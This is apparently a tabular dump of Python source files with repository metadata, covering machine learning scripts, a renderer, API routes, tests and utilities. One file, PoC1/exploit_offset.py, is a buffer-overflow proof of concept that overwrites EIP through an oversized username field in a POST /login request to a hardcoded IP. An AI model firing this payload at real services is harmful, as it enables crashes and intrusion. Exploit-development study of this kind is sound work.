] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# =============================================================================
# @file test_generate.py
# @author Albert Puig (albert.puig@cern.ch)
# @date 27.02.2019
# =============================================================================
"""Basic dimensionali... | 35.940476 | 98 | 0.558132 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# =============================================================================
# @file test_generate.py
# @author Albert Puig (albert.puig@cern.ch)
# @date 27.02.2019
# =============================================================================
"""Basic dimensionali... | 0 | 708 | 0 | 0 | 0 | 0 | 0 | 0 | 23 |
d7f4ea5c8cbf03c238c6958e9cad7d14eea7464f | 9,493 | py | Python | Machine_Learning_and_Parallel_Computing/FINAL_MLP_MAXMIN/m3.py | AlexKnightDu/Lessons | 0440136051a3277deab3b9f952f8363fcae79a7f | [
"Apache-2.0"
] | 8 | 2019-03-31T05:11:31.000Z | 2021-04-07T13:15:42.000Z | Machine_Learning_and_Parallel_Computing/FINAL_MLP_MAXMIN/m3.py | AlexKnightDu/Lessons | 0440136051a3277deab3b9f952f8363fcae79a7f | [
"Apache-2.0"
] | null | null | null | Machine_Learning_and_Parallel_Computing/FINAL_MLP_MAXMIN/m3.py | AlexKnightDu/Lessons | 0440136051a3277deab3b9f952f8363fcae79a7f | [
"Apache-2.0"
] | 2 | 2021-03-27T04:14:58.000Z | 2021-04-07T13:15:53.000Z |
main()
| 33.308772 | 122 | 0.577689 | import tensorflow as tf
import numpy as np
import scipy.io as scio
import math as ma
import multiprocessing as mp
from tensorflow.contrib import layers
import time
import os
def next_batch(data, label, batch_size):
index = np.arange(len(data))
np.random.shuffle(index)
index = index[0:batch_size]
batch... | 0 | 0 | 0 | 0 | 0 | 9,061 | 0 | -2 | 403 |
b704c27ade50c487c10e4d1d92a82ae4c3a82117 | 1,036 | py | Python | keras_vgg.py | DiNOV-Tokyo/uied-d | c15d7e003dda13c24cfd0c17b4efb058dcc3b292 | [
"Apache-2.0"
] | null | null | null | keras_vgg.py | DiNOV-Tokyo/uied-d | c15d7e003dda13c24cfd0c17b4efb058dcc3b292 | [
"Apache-2.0"
] | null | null | null | keras_vgg.py | DiNOV-Tokyo/uied-d | c15d7e003dda13c24cfd0c17b4efb058dcc3b292 | [
"Apache-2.0"
] | null | null | null | from keras.preprocessing import image
import numpy as np
from keras.applications.vgg16 import VGG16, preprocess_input, decode_predictions
model = VGG16(include_top=True, weights='imagenet', input_tensor=None, input_shape=None)
model.summary()
#
if __name__ == '__main__':
#
# url = 'https://cdn.pixabay.com... | 27.263158 | 88 | 0.700772 | from keras.preprocessing import image
import requests
import numpy as np
from keras.applications.vgg16 import VGG16, preprocess_input, decode_predictions
model = VGG16(include_top=True, weights='imagenet', input_tensor=None, input_shape=None)
model.summary()
#画像をダンロードするための関数
def download_img(url, file_name):
r... | 207 | 0 | 0 | 0 | 0 | 152 | 0 | -6 | 44 |
49a7170160a3706f9f9ada4a2e282be0e2cf8679 | 1,995 | py | Python | qcengine/programs/cfour/keywords.py | jhrmnn/QCEngine | 141fcc7872068936d9eacb0ac546563829d4103d | [
"BSD-3-Clause"
] | null | null | null | qcengine/programs/cfour/keywords.py | jhrmnn/QCEngine | 141fcc7872068936d9eacb0ac546563829d4103d | [
"BSD-3-Clause"
] | 1 | 2021-04-09T16:17:53.000Z | 2021-04-09T16:17:53.000Z | qcengine/programs/cfour/keywords.py | jhrmnn/QCEngine | 141fcc7872068936d9eacb0ac546563829d4103d | [
"BSD-3-Clause"
] | null | null | null | from typing import Any, Dict, Tuple
from qcengine.exceptions import InputError
def format_keywords(keywords: Dict[str, Any]) -> str:
"""Form keywords deck from dictionary `keywords` where keys are CFOUR keyword ("__" separating
any nested-module keywords) strings and values are Python formatted.
"""
... | 29.776119 | 98 | 0.541353 | from typing import Any, Dict, Tuple
from qcengine.exceptions import InputError
def format_keywords(keywords: Dict[str, Any]) -> str:
"""Form keywords deck from dictionary `keywords` where keys are CFOUR keyword ("__" separating
any nested-module keywords) strings and values are Python formatted.
"""
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
cebc3e0c1da62804ea1c732351e20ef80090b70c | 353 | py | Python | tests/audio/encode_test.py | MulberryBeacon/anarky | 54684e4422d36c6ea3c0bb3fab5af56002864690 | [
"MIT"
] | 1 | 2015-05-12T13:05:04.000Z | 2015-05-12T13:05:04.000Z | tests/audio/encode_test.py | MulberryBeacon/anarky | 54684e4422d36c6ea3c0bb3fab5af56002864690 | [
"MIT"
] | null | null | null | tests/audio/encode_test.py | MulberryBeacon/anarky | 54684e4422d36c6ea3c0bb3fab5af56002864690 | [
"MIT"
] | null | null | null | # -*- coding: utf8 -*-
"""
Tests for the encoding library.
Author: Eduardo Ferreira
License: MIT (see LICENSE for details)
"""
| 15.347826 | 38 | 0.606232 | # -*- coding: utf8 -*-
"""
Tests for the encoding library.
Author: Eduardo Ferreira
License: MIT (see LICENSE for details)
"""
import unittest
class EncodeTests(unittest.TestCase):
"""
Tests for the encoding library.
"""
def test_dummy(self):
"""
Dummy test method.
"""
... | 0 | 0 | 0 | 183 | 0 | 0 | 0 | -6 | 46 |
06cab0bf174065b88bc4f54fedb44b33155aff6d | 1,634 | py | Python | api/server/swagger_server/code_templates/run_component.TEMPLATE.py | krishnakumar27/mlx | dce67d58dffa24ca7a6a4d6b5fd8d4eb94e35215 | [
"Apache-2.0"
] | 98 | 2021-05-03T23:27:53.000Z | 2022-03-13T02:29:12.000Z | api/server/swagger_server/code_templates/run_component.TEMPLATE.py | krishnakumar27/mlx | dce67d58dffa24ca7a6a4d6b5fd8d4eb94e35215 | [
"Apache-2.0"
] | 296 | 2021-05-03T22:44:26.000Z | 2022-03-31T11:50:16.000Z | api/server/swagger_server/code_templates/run_component.TEMPLATE.py | krishnakumar27/mlx | dce67d58dffa24ca7a6a4d6b5fd8d4eb94e35215 | [
"Apache-2.0"
] | 38 | 2021-05-03T22:52:59.000Z | 2022-03-31T03:58:34.000Z | # Copyright 2021 The MLX Contributors
#
# SPDX-License-Identifier: Apache-2.0
from kfp import dsl
from kfp_tekton.compiler import TektonCompiler
from kfp_tekton import TektonClient
from os import path
from tempfile import gettempdir
############################################################
# Define ... | 29.178571 | 87 | 0.571603 | # Copyright 2021 The MLX Contributors
#
# SPDX-License-Identifier: Apache-2.0
from kfp import dsl
from kfp_tekton.compiler import TektonCompiler
from kfp_tekton import TektonClient
from os import path
from tempfile import gettempdir
############################################################
# Define ... | 0 | 277 | 0 | 0 | 0 | 0 | 0 | 0 | 23 |
b7ff078dd5c9962b18391c49ebf4aa707645e21e | 849 | py | Python | main.py | kseniia-grishchenko/parsing-python | b0d1dde671ab6ed012245393a782cd476d27b411 | [
"Apache-2.0"
] | null | null | null | main.py | kseniia-grishchenko/parsing-python | b0d1dde671ab6ed012245393a782cd476d27b411 | [
"Apache-2.0"
] | null | null | null | main.py | kseniia-grishchenko/parsing-python | b0d1dde671ab6ed012245393a782cd476d27b411 | [
"Apache-2.0"
] | null | null | null |
AVAILABLE_SITES = [
{
'name': 'make up',
'url': 'https://makeup.com.ua/brand/1771098/',
'product_class': '.simple-slider-list__link',
'name_class': '.simple-slider-list__name',
'price_class': '.simple-slider-list__price',
'type': 'one-paged'
}
]
headers_example ... | 29.275862 | 136 | 0.592462 | from parse_one_paged import parse_one_paged
AVAILABLE_SITES = [
{
'name': 'make up',
'url': 'https://makeup.com.ua/brand/1771098/',
'product_class': '.simple-slider-list__link',
'name_class': '.simple-slider-list__name',
'price_class': '.simple-slider-list__price',
'... | 0 | 0 | 0 | 0 | 0 | 270 | 0 | 22 | 45 |
7e5bfbbc8e01103fdb4513a01af0ad749b68be83 | 58 | py | Python | services/keywords/constants.py | jaimehisao/major-tom | e991616deb6fc6d86ff3752c4b2136578b3d11f3 | [
"Apache-2.0"
] | 6 | 2020-07-15T18:28:38.000Z | 2021-04-20T13:39:26.000Z | services/keywords/constants.py | jaimehisao/major-tom | e991616deb6fc6d86ff3752c4b2136578b3d11f3 | [
"Apache-2.0"
] | 61 | 2020-07-20T21:52:59.000Z | 2021-06-18T16:53:34.000Z | services/keywords/constants.py | jaimehisao/major-tom | e991616deb6fc6d86ff3752c4b2136578b3d11f3 | [
"Apache-2.0"
] | 10 | 2020-07-17T21:44:09.000Z | 2021-04-26T22:53:33.000Z | KEY_PARTS_OF_SPEECH = ["ADJ", "NOUN", "NUM", "VERB", "X"]
| 29 | 57 | 0.586207 | KEY_PARTS_OF_SPEECH = ["ADJ", "NOUN", "NUM", "VERB", "X"]
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b56dbf0e39ffc9443c9b0eacfc47c257aab4af41 | 12,678 | py | Python | demo_data_process.py | Milton-Hu/Human-Pose-Estimation-and-Evaluation-for-Rehabilitation | d559ac1a43041e4dc6bf9452d47860c1afe0ce56 | [
"Apache-2.0"
] | null | null | null | demo_data_process.py | Milton-Hu/Human-Pose-Estimation-and-Evaluation-for-Rehabilitation | d559ac1a43041e4dc6bf9452d47860c1afe0ce56 | [
"Apache-2.0"
] | null | null | null | demo_data_process.py | Milton-Hu/Human-Pose-Estimation-and-Evaluation-for-Rehabilitation | d559ac1a43041e4dc6bf9452d47860c1afe0ce56 | [
"Apache-2.0"
] | null | null | null | #
import numpy as np
#
#
KPTS_ANGLE_PAIRS = [[2,3,4], [5,6,7], [8,9,10], [14,15,16], [9,10,12], [15,16,18]]
# Q
Q = 0.00001
# R
R = 0.1
# Accumulated_Error
Accumulated_Error = np.ones(6, np.float32)
#
kalman_kpt_old = np.zeros(6, np.float32)
SCOPE = 50
if __name__ == '__main__':
im... | 44.020833 | 214 | 0.624862 | # 绘图相关包
from PyQt5.Qt import *
from pyqtgraph import PlotWidget
from PyQt5 import QtCore
import numpy as np
import pyqtgraph as pq
# 绘图相关包
import cv2
import math
import torch
import pyrealsense2 as rs
#人体姿态估计相关包
from models.with_mobilenet import PoseEstimationWithMobileNet
from modules.keypoints import... | 1,023 | 0 | 0 | 3,998 | 0 | 7,265 | 0 | 169 | 424 |
6b7ea80d74bd122a5019eb14a389e7445ba04672 | 532 | py | Python | Exercicio41a50/ex041.py | ItamarHavenstein/Python | fe536302aea00a4a898e0f54f5b9fa6aba3301cb | [
"MIT"
] | null | null | null | Exercicio41a50/ex041.py | ItamarHavenstein/Python | fe536302aea00a4a898e0f54f5b9fa6aba3301cb | [
"MIT"
] | null | null | null | Exercicio41a50/ex041.py | ItamarHavenstein/Python | fe536302aea00a4a898e0f54f5b9fa6aba3301cb | [
"MIT"
] | null | null | null | import datetime
nascimento = int(input('Digite seu ano de nascimento: '))
anoAtual = datetime.date.today().year
idade = anoAtual - nascimento
print('A idade do atleta {}'.format(idade))
if idade <= 9:
print('A categoria do atleta MIRIM')
elif idade > 9 and idade <= 14:
print('A categoria do atleta INFANT... | 26.6 | 57 | 0.684211 | import datetime
nascimento = int(input('Digite seu ano de nascimento: '))
anoAtual = datetime.date.today().year
idade = anoAtual - nascimento
print('A idade do atleta é {}'.format(idade))
if idade <= 9:
print('A categoria do atleta é MIRIM')
elif idade > 9 and idade <= 14:
print('A categoria do atleta é INF... | 14 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b46218f0c0260e786fb670c6e75ded1567d9cbcd | 1,160 | py | Python | Learning Unittests/matplotlib-tutorial-master/scripts/rain-static.py | BethWIntera/Beths_PySandbox | 6fb1d41353d29be4f7142c722cce8ec9872863e4 | [
"TCL",
"SWL",
"MIT",
"X11",
"BSD-3-Clause"
] | 6 | 2019-10-22T19:45:51.000Z | 2022-02-13T11:11:37.000Z | resources/Rougier Tutorial/scripts/rain-static.py | nstarman/2019-10-22-dotAstronomy-Plotting-Workshop | 31e1a10b3d0f051a2cd197ce390bcf96753f153c | [
"MIT"
] | 5 | 2019-11-15T02:00:26.000Z | 2021-01-06T04:26:40.000Z | resources/Rougier Tutorial/scripts/rain-static.py | nstarman/2019-10-22-dotAstronomy-Plotting-Workshop | 31e1a10b3d0f051a2cd197ce390bcf96753f153c | [
"MIT"
] | null | null | null | # -----------------------------------------------------------------------------
# Copyright (c) 2015, Nicolas P. Rougier. All Rights Reserved.
# Distributed under the (new) BSD License. See LICENSE.txt for more info.
# -----------------------------------------------------------------------------
import numpy as np
impo... | 28.292683 | 79 | 0.57069 | # -----------------------------------------------------------------------------
# Copyright (c) 2015, Nicolas P. Rougier. All Rights Reserved.
# Distributed under the (new) BSD License. See LICENSE.txt for more info.
# -----------------------------------------------------------------------------
import numpy as np
impo... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
76f9fcd8cbfb281fd98572b67802852dd900e5e0 | 328 | py | Python | app/tests/test_main.py | BrianThomasRoss/ds-bw | e2dcb909d48cdbcb5918e16ae26b0d1a70c1c36c | [
"MIT"
] | null | null | null | app/tests/test_main.py | BrianThomasRoss/ds-bw | e2dcb909d48cdbcb5918e16ae26b0d1a70c1c36c | [
"MIT"
] | null | null | null | app/tests/test_main.py | BrianThomasRoss/ds-bw | e2dcb909d48cdbcb5918e16ae26b0d1a70c1c36c | [
"MIT"
] | null | null | null | """Main application unittests."""
from fastapi.testclient import TestClient
from app.main import app
client = TestClient(app)
def test_docs():
"""Return HTML docs for root route."""
response = client.get('/')
assert response.status_code == 200
assert response.headers['content-type'].startswith('text... | 23.428571 | 67 | 0.710366 | """Main application unittests."""
from fastapi.testclient import TestClient
from app.main import app
client = TestClient(app)
def test_docs():
"""Return HTML docs for root route."""
response = client.get('/')
assert response.status_code == 200
assert response.headers['content-type'].startswith('text... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
e5daec4c060e5b408bdc03a6009a4ee4f7ac2cd8 | 3,340 | py | Python | services/Runner/externalServices/manager.py | muhammad-abbady/JenTab | df7b1450cb14e64edade30ea7de49d05a7d7dbf2 | [
"Apache-2.0"
] | 9 | 2021-03-23T11:32:40.000Z | 2022-03-31T13:58:41.000Z | services/Runner/externalServices/manager.py | muhammad-abbady/JenTab | df7b1450cb14e64edade30ea7de49d05a7d7dbf2 | [
"Apache-2.0"
] | null | null | null | services/Runner/externalServices/manager.py | muhammad-abbady/JenTab | df7b1450cb14e64edade30ea7de49d05a7d7dbf2 | [
"Apache-2.0"
] | 1 | 2021-04-29T21:27:08.000Z | 2021-04-29T21:27:08.000Z |
# maximum length of an error message to be stored
# excessive error messages might make it properly to the manager
MAX_ERROR_LENGTH = 2 * 1024 * 1024
# create an instance for export
Manager = Manager_Service()
| 33.069307 | 85 | 0.596407 | import config
import json
import traceback
import requests
# maximum length of an error message to be stored
# excessive error messages might make it properly to the manager
MAX_ERROR_LENGTH = 2 * 1024 * 1024
class Manager_Service():
root = config.manager_url
def get_work(self):
"""retrieve a new w... | 0 | 0 | 0 | 3,044 | 0 | 0 | 0 | -29 | 111 |
bdf7197d3017603e7d978b7cd8b575326cdce351 | 2,400 | py | Python | bld2repo/bld2repo/cli.py | ppisar/modulemd-tools | 1296439248e14fe3b2e17a2141975e68d3dc9be1 | [
"MIT"
] | 23 | 2020-07-26T14:49:46.000Z | 2022-03-30T03:38:41.000Z | bld2repo/bld2repo/cli.py | ppisar/modulemd-tools | 1296439248e14fe3b2e17a2141975e68d3dc9be1 | [
"MIT"
] | 44 | 2020-06-25T12:59:51.000Z | 2022-03-31T11:45:31.000Z | bld2repo/bld2repo/cli.py | ppisar/modulemd-tools | 1296439248e14fe3b2e17a2141975e68d3dc9be1 | [
"MIT"
] | 13 | 2020-06-25T12:53:16.000Z | 2021-09-06T06:25:54.000Z |
if __name__ == "__main__":
main()
| 40.677966 | 98 | 0.642083 | import argparse
import os
from bld2repo import (get_buildrequire_pkgs_from_build, add_rpm_urls, rpm_bulk_download,
create_repo)
from bld2repo.config import Config
from bld2repo.utils import get_koji_session
def get_arg_parser():
description = (
"When provided with a build id it will... | 0 | 0 | 0 | 0 | 0 | 2,081 | 0 | 119 | 157 |
5eba01cc06175f5868b76bf826bf0d4381e28d47 | 1,101 | py | Python | sandbox/finetuning/envs/mujoco/gather/swimmer_gather_unevenfloor_env.py | andrewli77/rllab-finetuning | 2dae9141d0fdc284d04f18931907131d66b43023 | [
"MIT"
] | 23 | 2020-04-27T23:53:44.000Z | 2022-03-10T03:13:16.000Z | sandbox/finetuning/envs/mujoco/gather/swimmer_gather_unevenfloor_env.py | WeiChengTseng/rllab-finetuning | 2dae9141d0fdc284d04f18931907131d66b43023 | [
"MIT"
] | 1 | 2021-11-14T13:30:22.000Z | 2021-11-14T13:30:22.000Z | sandbox/finetuning/envs/mujoco/gather/swimmer_gather_unevenfloor_env.py | WeiChengTseng/rllab-finetuning | 2dae9141d0fdc284d04f18931907131d66b43023 | [
"MIT"
] | 8 | 2020-06-17T03:28:34.000Z | 2022-03-09T03:13:03.000Z |
if __name__ == "__main__":
env = SwimmerGatherUnevenFloorEnv()
while True:
env.reset()
for _ in range(1000):
env.render()
_, reward, _, _ = env.step(env.action_space.sample()) # take a random action
# env.reset()
# frames = []
# for i in range(5):
# ... | 33.363636 | 89 | 0.660309 | from rllab.envs.mujoco.gather.gather_env import GatherEnv
from sandbox.finetuning.envs.mujoco.swimmer_unevenfloor_env import SwimmerUnevenFloorEnv
class SwimmerGatherUnevenFloorEnv(GatherEnv):
MODEL_CLASS = SwimmerUnevenFloorEnv
ORI_IND = 2
if __name__ == "__main__":
env = SwimmerGatherUnevenFloorEnv()
... | 0 | 0 | 0 | 81 | 0 | 0 | 0 | 103 | 67 |
f044b60a0ff24131432e7e5141763c3749fa4897 | 210 | py | Python | django_easy_ajax/urls.py | ApptecSrl/django-easy-ajax | 4931ab1aa51564bfda7328665cb5b078b6f5b132 | [
"BSD-3-Clause"
] | null | null | null | django_easy_ajax/urls.py | ApptecSrl/django-easy-ajax | 4931ab1aa51564bfda7328665cb5b078b6f5b132 | [
"BSD-3-Clause"
] | null | null | null | django_easy_ajax/urls.py | ApptecSrl/django-easy-ajax | 4931ab1aa51564bfda7328665cb5b078b6f5b132 | [
"BSD-3-Clause"
] | null | null | null | from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^(?P<strategy_name>[-\w]+)/(?P<pk>\d+)/$', views.AjaxBaseSerializedView.as_view(),
name='django-easy-ajax-selector'),
]
| 21 | 92 | 0.647619 | from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^(?P<strategy_name>[-\w]+)/(?P<pk>\d+)/$', views.AjaxBaseSerializedView.as_view(),
name='django-easy-ajax-selector'),
]
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
5887dcecd81a99876c5c5c6ee478e6117c74d657 | 23,348 | py | Python | rayMarchRenderer.py | s-neilson/Python-ray-march-renderer | c3850336686a4853c9658f2dff49566e71872470 | [
"MIT"
] | null | null | null | rayMarchRenderer.py | s-neilson/Python-ray-march-renderer | c3850336686a4853c9658f2dff49566e71872470 | [
"MIT"
] | null | null | null | rayMarchRenderer.py | s-neilson/Python-ray-march-renderer | c3850336686a4853c9658f2dff49566e71872470 | [
"MIT"
] | null | null | null | import math
import numpy
from tqdm import tqdm
import matplotlib.pyplot as plt
#A class for three-dimentional vector operations; using numpy arrays and their operations was found to be slower.
#Returns the unit vector pointing from the location represented by fromVector to the location repres... | 64.6759 | 229 | 0.710853 | import copy
import math
import numpy
from tqdm import tqdm
import matplotlib.pyplot as plt
#A class for three-dimentional vector operations; using numpy arrays and their operations was found to be slower.
class Vector3D():
x=0.0
y=0.0
z=0.0
def __init__(self,x,y,z):
self.x=x... | 0 | 0 | 0 | 9,148 | 0 | 9,627 | 0 | -10 | 194 |
ce0779ba605786061035545a0272a055142dc5cc | 1,484 | py | Python | calc-s3-etag.py | aws-samples/calc-s3-etag | 09609ec170adce0ada5dfb73eb0f548f4d0dd3e2 | [
"MIT-0"
] | null | null | null | calc-s3-etag.py | aws-samples/calc-s3-etag | 09609ec170adce0ada5dfb73eb0f548f4d0dd3e2 | [
"MIT-0"
] | null | null | null | calc-s3-etag.py | aws-samples/calc-s3-etag | 09609ec170adce0ada5dfb73eb0f548f4d0dd3e2 | [
"MIT-0"
] | 1 | 2021-06-10T19:01:33.000Z | 2021-06-10T19:01:33.000Z | #// Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
#// SPDX-License-Identifier: MIT-0
import sys
if len(sys.argv) !=3:
print("Usage: calc-s3-etag.py {file} {multipart-transfer size}")
print("")
print("Multipart transfersize may be gotten by referencing the .aws/config file or by using t... | 41.222222 | 174 | 0.66779 | #// Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
#// SPDX-License-Identifier: MIT-0
import sys
import hashlib
def calculate_s3_etag(file_path, chunk_size):
md5s = []
with open(file_path, 'rb') as fp:
while True:
data = fp.read(chunk_size)
if not data:
... | 0 | 0 | 0 | 0 | 0 | 532 | 0 | -7 | 45 |
72ce4745976e9c1bb7896987be9ec2993372dc7b | 173 | py | Python | startmicro/__init__.py | munisisazade/startmicro | 4c74f41a31a6bef9aaa09586628e8427a7d68851 | [
"MIT"
] | 1 | 2019-09-27T10:23:24.000Z | 2019-09-27T10:23:24.000Z | startmicro/__init__.py | munisisazade/startmicro | 4c74f41a31a6bef9aaa09586628e8427a7d68851 | [
"MIT"
] | 1 | 2020-09-01T06:50:19.000Z | 2020-09-01T06:50:19.000Z | startmicro/__init__.py | munisisazade/startmicro | 4c74f41a31a6bef9aaa09586628e8427a7d68851 | [
"MIT"
] | null | null | null | from startmicro.utils.version import get_version
VERSION = (0, 0, 6, 'alpha', 0)
__version__ = get_version(VERSION)
__author__ = "Munis Isazade <munisisazade@gmail.com>"
| 21.625 | 53 | 0.751445 | from startmicro.utils.version import get_version
VERSION = (0, 0, 6, 'alpha', 0)
__version__ = get_version(VERSION)
__author__ = "Munis Isazade <munisisazade@gmail.com>"
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
1b7fd39603cccc95e49b6ce348febb847840ef6b | 1,138 | py | Python | PoC1/exploit_offset.py | gcheca/exploits | 452b0b65fd549b14fec48a0d22dfe5227c9383a5 | [
"MIT"
] | null | null | null | PoC1/exploit_offset.py | gcheca/exploits | 452b0b65fd549b14fec48a0d22dfe5227c9383a5 | [
"MIT"
] | null | null | null | PoC1/exploit_offset.py | gcheca/exploits | 452b0b65fd549b14fec48a0d22dfe5227c9383a5 | [
"MIT"
] | null | null | null | #!/usr/bin/python
import socket
try:
print "\n Sending ""evil"" buffer..."
padding = "A" * 780
eip = "B" * 4
buffer = "C" * 16
payload = padding + eip + buffer
content = "username=" + payload + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 192.168.1.1\r\n"
buf... | 28.45 | 104 | 0.581722 | #!/usr/bin/python
import socket
try:
print "\n Sending ""evil"" buffer..."
padding = "A" * 780
eip = "B" * 4
buffer = "C" * 16
payload = padding + eip + buffer
content = "username=" + payload + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 192.168.1.1\r\n"
buf... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
9a1dfacdee354f4a82f68846e5e83586c85bed27 | 7,323 | py | Python | core/base_model.py | Janspiry/distributed-pytorch-template | 8b612c8877d4ec3ffba28fcb3bc1ccfda44b6c10 | [
"MIT"
] | 3 | 2022-01-30T07:10:02.000Z | 2022-02-11T10:16:43.000Z | core/base_model.py | Janspiry/A-Seed-Project-For-Deep-Learning-by-Pytorch | 8b612c8877d4ec3ffba28fcb3bc1ccfda44b6c10 | [
"MIT"
] | null | null | null | core/base_model.py | Janspiry/A-Seed-Project-For-Deep-Learning-by-Pytorch | 8b612c8877d4ec3ffba28fcb3bc1ccfda44b6c10 | [
"MIT"
] | null | null | null | import collections
import torch.nn as nn
CustomResult = collections.namedtuple('CustomResult', 'name result')
| 47.245161 | 156 | 0.62092 | import os
from abc import abstractmethod
from functools import partial
import collections
import torch
import torch.nn as nn
import core.util as Util
from core.logger import LogTracker
CustomResult = collections.namedtuple('CustomResult', 'name result')
class BaseModel():
def __init__(self, opt, phase_loader, v... | 0 | 346 | 0 | 6,698 | 0 | 0 | 0 | 12 | 157 |
a9b8a1cbfc37583a3c3b3265e5a00f579fd39128 | 3,300 | py | Python | scripts/evaluate_glas.py | mRcfps/wessup | b27052fc969ac60b443d340d7d10b28605b790a0 | [
"MIT"
] | 8 | 2020-03-01T05:56:49.000Z | 2022-02-12T14:38:42.000Z | scripts/evaluate_glas.py | mRcfps/wessup | b27052fc969ac60b443d340d7d10b28605b790a0 | [
"MIT"
] | null | null | null | scripts/evaluate_glas.py | mRcfps/wessup | b27052fc969ac60b443d340d7d10b28605b790a0 | [
"MIT"
] | 5 | 2020-02-29T01:49:33.000Z | 2022-02-03T20:20:32.000Z | import argparse
import os
from pathlib import Path
import sys
sys.path.append(str(Path(__file__).parent.parent))
from skimage.io import imread, imsave
from joblib import Parallel, delayed
parser = argparse.ArgumentParser()
parser.add_argument('pred_root')
args = parser.parse_args()
glas_root = Path('~/data/GLAS_all'... | 33.333333 | 109 | 0.706364 | import argparse
import os
from pathlib import Path
import sys
sys.path.append(str(Path(__file__).parent.parent))
import pandas as pd
from skimage.io import imread, imsave
from joblib import Parallel, delayed
from utils.metrics import *
parser = argparse.ArgumentParser()
parser.add_argument('pred_root')
args = parse... | 0 | 0 | 0 | 0 | 0 | 1,378 | 0 | 4 | 92 |
7c8578fa5f45ed4663d04f117ce01c5ce38b800d | 16,745 | py | Python | stella/rotations.py | afeinstein20/sally | f9ffd78d1c7279012e870f3657812595f18eee74 | [
"MIT"
] | 22 | 2019-06-27T19:43:48.000Z | 2022-03-24T21:32:20.000Z | stella/rotations.py | afeinstein20/sally | f9ffd78d1c7279012e870f3657812595f18eee74 | [
"MIT"
] | 16 | 2020-05-21T22:26:51.000Z | 2022-03-21T13:23:37.000Z | stella/rotations.py | afeinstein20/sally | f9ffd78d1c7279012e870f3657812595f18eee74 | [
"MIT"
] | 11 | 2019-07-19T16:41:15.000Z | 2022-03-11T21:49:04.000Z |
__all__ = ['MeasureProt']
| 35.476695 | 97 | 0.478232 | import numpy as np
from tqdm import tqdm
import statistics as stats
from astropy import units as u
from scipy.signal import medfilt
from scipy.optimize import curve_fit
from astropy.table import Table, Column
from astropy.timeseries import LombScargle
__all__ = ['MeasureProt']
class MeasureProt(object):
"""
U... | 0 | 0 | 0 | 16,443 | 0 | 0 | 0 | 76 | 199 |
70dbecde69f5350b76c86a87b6e8a98005d66126 | 4,777 | py | Python | api/routes/flashcard.py | axxander/FlashcardAPI | b7221aa567b2c59700813a3cab46d58ca7897086 | [
"MIT"
] | null | null | null | api/routes/flashcard.py | axxander/FlashcardAPI | b7221aa567b2c59700813a3cab46d58ca7897086 | [
"MIT"
] | null | null | null | api/routes/flashcard.py | axxander/FlashcardAPI | b7221aa567b2c59700813a3cab46d58ca7897086 | [
"MIT"
] | null | null | null |
from fastapi import APIRouter
router = APIRouter(
prefix="/flashcard",
tags=["flashcard"]
)
# Create new flashcard
# List all flashcards
# Get flashcards of specific category
# Get flashcard by ID
# Update flashcard by ID
# Bulk change category name
# Delete flashcard by ID
# Delete flash... | 29.487654 | 87 | 0.6973 | from typing import List
from fastapi import APIRouter, Depends, HTTPException, status
from app import schemas, models
from app.services.jwt import get_current_user
router = APIRouter(
prefix="/flashcard",
tags=["flashcard"]
)
# Create new flashcard
@router.post("/", response_model=schemas.Flashcard)
async... | 0 | 4,130 | 0 | 0 | 0 | 0 | 0 | 68 | 243 |
8efe44c0c18ac4acd87d73e2cad4d86b35c3048e | 1,654 | py | Python | ws2122-lspm/Lib/site-packages/pm4py/evaluation/wf_net/evaluator.py | Malekhy/ws2122-lspm | e4dc8b801d12f862b8ef536a0f125f346f085a00 | [
"MIT"
] | 1 | 2022-01-19T04:02:46.000Z | 2022-01-19T04:02:46.000Z | ws2122-lspm/Lib/site-packages/pm4py/evaluation/wf_net/evaluator.py | Malekhy/ws2122-lspm | e4dc8b801d12f862b8ef536a0f125f346f085a00 | [
"MIT"
] | 1 | 2021-11-19T07:21:48.000Z | 2021-11-19T07:21:48.000Z | ws2122-lspm/Lib/site-packages/pm4py/evaluation/wf_net/evaluator.py | Malekhy/ws2122-lspm | e4dc8b801d12f862b8ef536a0f125f346f085a00 | [
"MIT"
] | 1 | 2022-01-14T17:15:38.000Z | 2022-01-14T17:15:38.000Z | '''
This file is part of PM4Py (More Info: https://pm4py.fit.fraunhofer.de).
PM4Py is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any late... | 31.207547 | 102 | 0.696493 | '''
This file is part of PM4Py (More Info: https://pm4py.fit.fraunhofer.de).
PM4Py is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any late... | 0 | 714 | 0 | 26 | 0 | 0 | 0 | 36 | 158 |